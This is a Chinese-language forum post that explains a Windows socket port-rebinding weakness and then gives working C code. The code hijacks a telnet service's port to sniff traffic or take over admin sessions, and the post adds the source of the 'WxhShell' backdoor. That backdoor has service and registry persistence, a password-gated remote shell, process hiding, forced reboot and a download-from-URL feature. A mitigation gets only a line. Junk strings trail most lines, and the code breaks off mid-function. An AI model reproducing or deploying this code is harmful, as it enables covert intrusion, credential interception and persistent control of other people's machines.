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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9ec0^T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h1E PaL  
bD  d_}  
  saddr.sin_family = AF_INET; v^;-@ddr  
}]tFz}E\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N*HH,m&  
rXlx?GV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QZ?O;K1|y  
Euqjxz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2(hvv-  
HKM~BL "X  
  这意味着什么?意味着可以进行如下的攻击: !+5C{Hs2  
p|b+I"M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dEL3?-;'  
KU*`f{|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uSH> $;a  
r+SEw ;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5DmCxg  
>pN;J)H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (y%%6#bd  
G]1(X38[si  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 keqr%:E8  
#aj|vox}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sbs[=LW4  
Lf[G>0t&n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  bkxk i@t  
.@fK;/OuC  
  #include r[6#G2  
  #include 2%`^(\y  
  #include Ng?apaIi@~  
  #include    Sb'N];  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =DGn,i9  
  int main() $+A%ODv  
  { Gv!BB=ir(  
  WORD wVersionRequested; ~*jsB=XM/  
  DWORD ret; ]jZiW1C*a  
  WSADATA wsaData; U? {'n#n 5  
  BOOL val; N[#iT&@T}/  
  SOCKADDR_IN saddr; "xL;(Fqu  
  SOCKADDR_IN scaddr; W^5<XX,ON  
  int err; I/oIcQS!k  
  SOCKET s; dMey/A/VYt  
  SOCKET sc; ;r gH}r  
  int caddsize; A*G )CG  
  HANDLE mt; P'-JbPXU  
  DWORD tid;   JZW gr&O<  
  wVersionRequested = MAKEWORD( 2, 2 ); MF f05\aDu  
  err = WSAStartup( wVersionRequested, &wsaData ); 'bZMh9|  
  if ( err != 0 ) { _!CK   
  printf("error!WSAStartup failed!\n"); SPfD2%jjC  
  return -1; LDT'FwMjy  
  } 1M7\:te*  
  saddr.sin_family = AF_INET; c1pq]mz|z  
   0@II &  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .jvSAV5B  
Uuwq7oFub  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N$N;Sw  
  saddr.sin_port = htons(23); l*F!~J3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 83{x"G3>  
  { ,`ZPtnH+  
  printf("error!socket failed!\n"); 9(QU2QY  
  return -1; 9 Q0#We*  
  } V}vl2o  
  val = TRUE; d9`3EP)n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g4~X#}:z$O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [$hptQv  
  { ,:0Q1~8  
  printf("error!setsockopt failed!\n"); u@GRN`yn  
  return -1; @ChN_gd3!  
  } ^Nd|+}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Sf+(1_^`t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }}kS~ w-#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E9L!O.Q  
J0IdFFZ|w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OVDMC4K2z!  
  { o|rGy 5  
  ret=GetLastError();  :pA=V  
  printf("error!bind failed!\n"); Uq9,(tV`6g  
  return -1; [_g#x(=  
  } I}*]m%'-Y  
  listen(s,2); kGB#2J  
  while(1) ?)A]q' O  
  { NYSj^k;^(z  
  caddsize = sizeof(scaddr); +Z 9 3`  
  //接受连接请求 o{ ,ba~$.w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t-v^-#  
  if(sc!=INVALID_SOCKET) _4~ng#M*  
  { 4FfwpO3,Ku  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iFAoAw(  
  if(mt==NULL) bqZ?uvc3  
  { "@c';".|  
  printf("Thread Creat Failed!\n"); pl jV|.?  
  break; z4%Z6Y  
  } [oQ`HX1g  
  } ;a!h.8UJPI  
  CloseHandle(mt); <6d{k[7fz)  
  } _'?8s6 H  
  closesocket(s); #Qtg\X  
  WSACleanup(); 9J-!o]f .b  
  return 0; {f@xA  
  }   d&[M8(  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8I5VrT  
  { 7$q2v=tH_  
  SOCKET ss = (SOCKET)lpParam; ~>Hnf_pZO  
  SOCKET sc; C:tSCNH[  
  unsigned char buf[4096]; P+*rWJ8gQ  
  SOCKADDR_IN saddr; ]X >QLD0W  
  long num; k$UzBxR  
  DWORD val; o+if%3  
  DWORD ret; =`7#^7Q9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T!=20!I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5CH-:|(;=  
  saddr.sin_family = AF_INET; (/9.+V_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %#S"~)  
  saddr.sin_port = htons(23); 4'}_qAT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UtW"U0A  
  { 'y+bx?3Z  
  printf("error!socket failed!\n"); NE=#5?6%g7  
  return -1; :oon}_MdRd  
  } Hg gR=>s  
  val = 100; v2Qc}o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ery?G-  
  { HdY3DdC%q  
  ret = GetLastError(); bG?WB,1  
  return -1; RAv RNd  
  } H/^TXqQ8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pb/{ss+  
  { 3G%XG{dg  
  ret = GetLastError(); e~>p.l  
  return -1; UuOLv;v  
  } ERX|cc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vs'L1$L'c  
  { .qqb> 7|q  
  printf("error!socket connect failed!\n"); P$(iB.&  
  closesocket(sc); Zs3]|bUR  
  closesocket(ss); lE2wkY9^/  
  return -1; -NflaV~  
  } z`xz~9a<  
  while(1) (Qh7bfd  
  { ;)= zvr17  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Sf4h!ly  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oQ-|\?{;A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #8Id:56  
  num = recv(ss,buf,4096,0); Z68Wf5@to&  
  if(num>0) V'.eesN  
  send(sc,buf,num,0); `!Ge"JB6   
  else if(num==0) FkxhEat8  
  break; <R`,zE@t'(  
  num = recv(sc,buf,4096,0); FSYjp{z5  
  if(num>0) ax{-Qi7z-+  
  send(ss,buf,num,0); :)J~FVLy  
  else if(num==0) gGiV1jN _  
  break; 7QOC]:r  
  } ?%za:{  
  closesocket(ss); Xb+if  
  closesocket(sc); 8@LykJbP  
  return 0 ; 1n"+~N^\  
  } a`@<ZsR  
C5sN[  
bKt3x+x(  
========================================================== YnO1Lf@  
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下边附上一个代码,,WXhSHELL lc$@Jjg9  
G5QgnxwP2  
========================================================== XvzV lKL  
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#include "stdafx.h" Z_OqXo=  
HDW\S#  
#include <stdio.h> ZAo)_za&mH  
#include <string.h> EhP&L?EL  
#include <windows.h> 4}_w4@(  
#include <winsock2.h> [@. jL0>  
#include <winsvc.h> 8#Z\}gGz  
#include <urlmon.h> 48&KdbGX  
,f /IG.  
#pragma comment (lib, "Ws2_32.lib") AZ]SRz9mKY  
#pragma comment (lib, "urlmon.lib") 9 <kkzy  
jXDzjt94J  
#define MAX_USER   100 // 最大客户端连接数 o%~K4 M".  
#define BUF_SOCK   200 // sock buffer h'YcNkM 2>  
#define KEY_BUFF   255 // 输入 buffer ry'^1~,  
RH'F<!p  
#define REBOOT     0   // 重启 seD+~Y\z  
#define SHUTDOWN   1   // 关机 MTITIecw=  
_OxnHf:|  
#define DEF_PORT   5000 // 监听端口 VzYP:QRz  
o2e h)rtB  
#define REG_LEN     16   // 注册表键长度 TaHi+  
#define SVC_LEN     80   // NT服务名长度 !{~7)iq  
_Fh0^O@  
// 从dll定义API Y`O}]*{>8R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;k41+O:f@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IO&#)Ft  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $ E~Lu$|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]MA)=' ~  
$5"-s]  
// wxhshell配置信息 $ p1EqVu  
struct WSCFG { ~ {7N TW  
  int ws_port;         // 监听端口 \=G Xe.}4d  
  char ws_passstr[REG_LEN]; // 口令 U/&qV"Ih  
  int ws_autoins;       // 安装标记, 1=yes 0=no % /4_|@<'  
  char ws_regname[REG_LEN]; // 注册表键名 +q=jB-eIx  
  char ws_svcname[REG_LEN]; // 服务名 k&"qdB(I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $XU$?_O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vLT12v:)`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "vRqtEBO@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a3 _0F@I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -K'84 bZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w>q_8V_K  
-I-& <+7v  
}; /G{3p&9  
NCM{OAjS5U  
// default Wxhshell configuration zt?w n* _  
struct WSCFG wscfg={DEF_PORT, m}'@S+k^  
    "xuhuanlingzhe",  iIEIGQx  
    1, Vq7 kA "  
    "Wxhshell", .6/p4OR|  
    "Wxhshell", Gc!{%x  
            "WxhShell Service", r`g;k&"a  
    "Wrsky Windows CmdShell Service", _ktSTzH0  
    "Please Input Your Password: ", KeOBbe  
  1, |Gs-9+'y  
  "http://www.wrsky.com/wxhshell.exe", .p0n\ $r  
  "Wxhshell.exe" Ay6rUN1ef  
    }; 1:s~ ]F@  
PWD]qtr  
// 消息定义模块 !skWe~/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S_-mmzC(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9C~GL,uKs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <:7e4#  
char *msg_ws_ext="\n\rExit."; v;qL? _:=c  
char *msg_ws_end="\n\rQuit."; n$0)gKN7  
char *msg_ws_boot="\n\rReboot..."; U"kK]Stk<  
char *msg_ws_poff="\n\rShutdown..."; 43Uy<%yb>}  
char *msg_ws_down="\n\rSave to "; EGr5xR-  
~4` ec   
char *msg_ws_err="\n\rErr!"; zw9ULQ$#  
char *msg_ws_ok="\n\rOK!"; 5h^qtK  
;B7|tajd  
char ExeFile[MAX_PATH]; vgZPDf|  
int nUser = 0; 9U1!"/F  
HANDLE handles[MAX_USER]; m/B9)JzY  
int OsIsNt; ?iO^b.'I#  
jtpNo~O  
SERVICE_STATUS       serviceStatus; l+X^x%EA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I,?LZ_pK  
^O:RS g9  
// 函数声明 2m}]z.w#  
int Install(void); K{h]./%  
int Uninstall(void); { 3P!b|V>  
int DownloadFile(char *sURL, SOCKET wsh); ^n5QK HD  
int Boot(int flag); /38Pp%  
void HideProc(void); sh3}0u+  
int GetOsVer(void); {73DnC~N  
int Wxhshell(SOCKET wsl); xW )8mv?4n  
void TalkWithClient(void *cs); ^o<Nz8  
int CmdShell(SOCKET sock); dM.Ow!j  
int StartFromService(void); <sG>[\i  
int StartWxhshell(LPSTR lpCmdLine); 8k% :w0H  
2YEn)A@8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5d;K.O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ArKrsI#H-  
gz:c_HJ  
// 数据结构和表定义 ?UIb!k>  
SERVICE_TABLE_ENTRY DispatchTable[] = [o6<aE-  
{ ~i {)J  
{wscfg.ws_svcname, NTServiceMain}, 2uB26SEIl  
{NULL, NULL} Ek\Zi#f<  
}; fkG"72 95A  
P9~kN|  
// 自我安装 ht!:e>z&4  
int Install(void) %['F[Mo  
{ j+v)I=  
  char svExeFile[MAX_PATH]; qo ![#s  
  HKEY key; #f@53Pxb  
  strcpy(svExeFile,ExeFile); 9{&x-ugM  
8[XNFFUZs  
// 如果是win9x系统,修改注册表设为自启动 p`C5jfI  
if(!OsIsNt) { tjL#?j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "lMWSCas  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +o5rR|)M+  
  RegCloseKey(key); @g?z>n n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,peFNpi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r8E!-r}rno  
  RegCloseKey(key); v0p EN\  
  return 0; 8;bOw  
    } eVJL|uI|  
  } A]slssE+  
} V6o,}o&-  
else { (9h{6rc=I  
J#^M   
// 如果是NT以上系统,安装为系统服务 ^ `9OA`2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _z< q9:  
if (schSCManager!=0) A-5%_M3\G  
{ V!4E(sX  
  SC_HANDLE schService = CreateService WocFID:b  
  ( ?/g(Y  
  schSCManager, ={d\zjI$  
  wscfg.ws_svcname, +d. Bf  
  wscfg.ws_svcdisp, D=+sD"<|  
  SERVICE_ALL_ACCESS, 8A qe'2IH=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JD .z}2+  
  SERVICE_AUTO_START, i;7jJ(#V  
  SERVICE_ERROR_NORMAL, )oCF| 2qc  
  svExeFile, Z H*?~ #  
  NULL, xr-scdh2  
  NULL, \^D`Hvg  
  NULL, $~l :l[Zs  
  NULL, C8-q<t#SF  
  NULL MsiSC  
  ); LPClE5  
  if (schService!=0) P=GM7  
  { 6y5~Kh6  
  CloseServiceHandle(schService); "5FeP;  
  CloseServiceHandle(schSCManager); GQQ6 t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2I5@zm ea  
  strcat(svExeFile,wscfg.ws_svcname); ^|2qD: ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :>u{BG;=79  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rA7S1)Kq  
  RegCloseKey(key); R8]bi|e)  
  return 0; n1V*VQV  
    } _,QUH"  
  } nfEk,(:  
  CloseServiceHandle(schSCManager); s4\2lBU?  
} #k6T_ki  
} 1U!CD-%(  
:nn'>  
return 1; USY^ [@o[f  
} b(F`$N@7C  
16U@o>O  
// 自我卸载 j  jQ=  
int Uninstall(void) (G Y`O  
{ 6kk(FVX  
  HKEY key; iW)Ou?aS  
z'o+3 zq^  
if(!OsIsNt) { 5Dd;?T>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MH-,+-Eq  
  RegDeleteValue(key,wscfg.ws_regname); %$U+?lk}  
  RegCloseKey(key); +VDB\n   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f3O'lc3  
  RegDeleteValue(key,wscfg.ws_regname); Z~ (QV0}  
  RegCloseKey(key); 6/ )A6Tt  
  return 0; F~6[DqF\|  
  } gvX7+F=}B  
} d4U_Wu&  
}  }#1g;  
else { }_S]!AWz  
!{+(oDN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +|N"i~f>j  
if (schSCManager!=0) BR*U9K|W  
{ pE#0949  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lnhZ!_  
  if (schService!=0) d*(1t\  
  { G9]GK+@&F  
  if(DeleteService(schService)!=0) { iD9GAe}x  
  CloseServiceHandle(schService); ;C3](  
  CloseServiceHandle(schSCManager); KR63W:Z\'  
  return 0; q0o6%c:gW  
  } *@< jJP4  
  CloseServiceHandle(schService); Ag-*DH0  
  } &e{&<ZVR  
  CloseServiceHandle(schSCManager); H~&'`h1  
} NB[b[1 Ch  
} :'03*A_[  
tO#y4<  
return 1; 1 OX(eXF>  
} UCFef,VW  
2gi`^%#k]  
// 从指定url下载文件 D<:9pLD(  
int DownloadFile(char *sURL, SOCKET wsh) YRl2e`&jt  
{ V@F~Cx  
  HRESULT hr; 2Ig.hnHj  
char seps[]= "/"; @d)6LA9Ec  
char *token; u+N[Cgh  
char *file; |o`TRqs  
char myURL[MAX_PATH]; awUIYAgJ3  
char myFILE[MAX_PATH]; DLVf7/=3~  
h c "n?  
strcpy(myURL,sURL); S;= D/)[mr  
  token=strtok(myURL,seps); {Q0"uE)-.  
  while(token!=NULL) cP-6O42  
  { Q%6*S!~  
    file=token; k;]&`c^5  
  token=strtok(NULL,seps); %',. K)IR  
  } 7yKadM~)  
FXIQS'  
GetCurrentDirectory(MAX_PATH,myFILE); *5 5yF `  
strcat(myFILE, "\\"); 2`x[y?Tn  
strcat(myFILE, file); nI-\HAX  
  send(wsh,myFILE,strlen(myFILE),0); v vFX\j3  
send(wsh,"...",3,0); ]P-;]*&=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lUDzf J}3  
  if(hr==S_OK) N=(rl#<  
return 0; 0HE@L_$;2  
else E[ ,Ur`>:  
return 1; r>5,U:6Q/  
1 #_R`(C{  
}  {sbQf7)  
/" ,]J  
// 系统电源模块 Pr" 2d\  
int Boot(int flag) (sZ B-  
{ A@GyKx%x$  
  HANDLE hToken; P9gIKOOx#4  
  TOKEN_PRIVILEGES tkp; A^G%8 )\  
f>dWl$/_s  
  if(OsIsNt) { dQt]r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A+AqlM+$i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |#"<{RS+w  
    tkp.PrivilegeCount = 1; lbMb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8^2Q ~{i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hl8[A-d(R  
if(flag==REBOOT) { &GX pRo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ((#|>W\&  
  return 0; lO[[iMHl<  
} EP*"=_  
else { v#F .FK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PXWBc\  
  return 0; M1^pf<!s  
} y<MXd,eE  
  } }k$2r3  
  else { so1% MV  
if(flag==REBOOT) { K^> +"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ft'?43J  
  return 0; *1|&uE&_R  
} G7 b>r  
else { 3x=T &X+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }Til $TT%H  
  return 0; e~oI0%xl^  
} i.Yz)Bw   
} )V7bi^r  
Bg {"{poy  
return 1; O1V s!  
} u.43b8!  
XX+%:,G  
// win9x进程隐藏模块 D}OvD |<-  
void HideProc(void) @-)jU!  
{ <;G.(CK@n  
pKMy:j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &c%;Lo  
  if ( hKernel != NULL ) Xf(H_&K  
  { }N dknut,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); { HHc} 8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ')zdI]@ M  
    FreeLibrary(hKernel); B*W)e$  
  } {FNmYneh?6  
0e-M 24,C  
return; ^z>3+oi  
} jInI%  
 Em?bV(  
// 获取操作系统版本 VXX7Y? !  
int GetOsVer(void) 'W(!N%u  
{ R <}UT  
  OSVERSIONINFO winfo; sF[7pE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $}+t|`*q8]  
  GetVersionEx(&winfo); KPTp91  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m`_s_#  
  return 1; j6}/pe*;;T  
  else oK\{#<gCZ  
  return 0; EbXWCD  
} kyR=U`OW  
P3Ocfpf Bp  
// 客户端句柄模块 4;_aFn  
int Wxhshell(SOCKET wsl) PaIE=Q4gJ  
{ |T3F:],`  
  SOCKET wsh; ?o$ hlX  
  struct sockaddr_in client; ,X^I]]  
  DWORD myID; FK ? g  
=r=?N\7I  
  while(nUser<MAX_USER) JlaT -j  
{ 0q}k"(9  
  int nSize=sizeof(client); ?Pbh&!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B bP&-c  
  if(wsh==INVALID_SOCKET) return 1; 4}&$s  
n3x< L:)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *e/8uFX  
if(handles[nUser]==0) 'qoDFR\v  
  closesocket(wsh); V[#eeH)/  
else uPh/u!  
  nUser++; ( &N`N1  
  } +s$` kl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T*pcS'?'  
QTe>EJ12  
  return 0; 85gdmla@9  
} dkUh[yo"H  
?OD43y1rzd  
// 关闭 socket  {@E(p4W  
void CloseIt(SOCKET wsh) }LYK:?_/  
{ 0[L)`7  
closesocket(wsh); ^(79SOZC  
nUser--; 7j,u&%om  
ExitThread(0); ?R#?=<VkG  
} *gGL5<%T:  
S29k IJ  
// 客户端请求句柄 crvq]J5  
void TalkWithClient(void *cs) wg.TCT2  
{ xZ84q'i"  
tMbracm  
  SOCKET wsh=(SOCKET)cs; p#A{.6Pa:  
  char pwd[SVC_LEN]; F4:giu ht  
  char cmd[KEY_BUFF]; K (px-jY  
char chr[1]; (:h#H[F  
int i,j; u*w'.5l  
FV~ENpncP  
  while (nUser < MAX_USER) { t?l0L1;  
3OZu v};k  
if(wscfg.ws_passstr) { P[L] S7FTr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VV'*3/I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _@] uHp|  
  //ZeroMemory(pwd,KEY_BUFF); SN<Dxa8Iy  
      i=0; -mfdngp3  
  while(i<SVC_LEN) { <<vT"2Q]  
P,RdY M06  
  // 设置超时 a Byetc88/  
  fd_set FdRead; =CqZ$  
  struct timeval TimeOut; oEJYAKN  
  FD_ZERO(&FdRead); F<9S,  
  FD_SET(wsh,&FdRead); #t8{z~t3  
  TimeOut.tv_sec=8; S W; %2  
  TimeOut.tv_usec=0; ca6kqh"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D}i_#-^MH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (U?*Z/  
V!&O5T(~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jT:z#B%  
  pwd=chr[0]; f%gdFtJ &  
  if(chr[0]==0xd || chr[0]==0xa) { 1&2X*$]y  
  pwd=0; P-Up v6J3  
  break; +CaA%u  
  } ~E^lKe  
  i++; ;}W-9=81  
    } ,Nk{AiiN  
w+_pq6\V  
  // 如果是非法用户,关闭 socket =G<i6%(^g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0x1#^dII  
} JlMD_pA  
0D.qc8/V4.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a}p}G\b|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v<u`wnt  
Ho!dtEs  
while(1) { ]IQ`.:g=9  
0Z,a3)jcc  
  ZeroMemory(cmd,KEY_BUFF); A8jj]J+  
[$iKx6\  
      // 自动支持客户端 telnet标准   _&U.DMt2 C  
  j=0; V'Z Z4og  
  while(j<KEY_BUFF) { Uja`{uc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L0QF(:F5  
  cmd[j]=chr[0]; w$fP$ \+  
  if(chr[0]==0xa || chr[0]==0xd) { uKF)'gj  
  cmd[j]=0; H4Lvw8G  
  break; +#@)C?G,TF  
  } S#[w).7  
  j++; T=~D>2C  
    } lXnzomU  
-qW[.B  
  // 下载文件 yzH[~O7  
  if(strstr(cmd,"http://")) { lHI ;fR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UD6:X&Un  
  if(DownloadFile(cmd,wsh)) Smc=-M}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IMT]!j&Y,  
  else tQYkH$e`/{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e]Q bC "  
  } lk/[xQ/  
  else { tA{B~>  
zho$g9*  
    switch(cmd[0]) { ;GF+0~5>  
  F15Yn  
  // 帮助 /t=Fx94  
  case '?': { #*|Gp_l+%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wUJ>?u9  
    break; Z^_-LX:%  
  } Z6\H4,k&  
  // 安装 24b?6^8~k  
  case 'i': { aEvW<jHh  
    if(Install()) [PP &}.k4"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L[rxs[7~  
    else ra]lC7<H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y c:y}"  
    break; 2Q81#i'Cm  
    } -Ed<Kl  
  // 卸载 ?j^:jV  
  case 'r': { ziXZJ^(FI  
    if(Uninstall()) U ,7O{YM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T@P[jtH<d  
    else s1kG:h2|$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HB:VpNFn  
    break; @Lk!nP  
    } ~|kSQ7O^  
  // 显示 wxhshell 所在路径 5u=$m^@{  
  case 'p': { Zv|TvlyT"  
    char svExeFile[MAX_PATH]; AR?1_]"=  
    strcpy(svExeFile,"\n\r"); TRzL":  
      strcat(svExeFile,ExeFile); yq<mE(hS?  
        send(wsh,svExeFile,strlen(svExeFile),0); :JD*uu  
    break; bg/a5$t  
    } < ?{ic2j#  
  // 重启 al@Hr*'  
  case 'b': { dK d"2+fH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ==]BrhZK  
    if(Boot(REBOOT)) 1ww#]p`1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J2avt  
    else { #C#*yE  
    closesocket(wsh); 4uy:sCmu  
    ExitThread(0); D@?Tq,= [  
    } W:S?_JM  
    break; hj+iB,8  
    } D4IP$pAD  
  // 关机 [$e\?c  
  case 'd': { rF\L}& Sw  
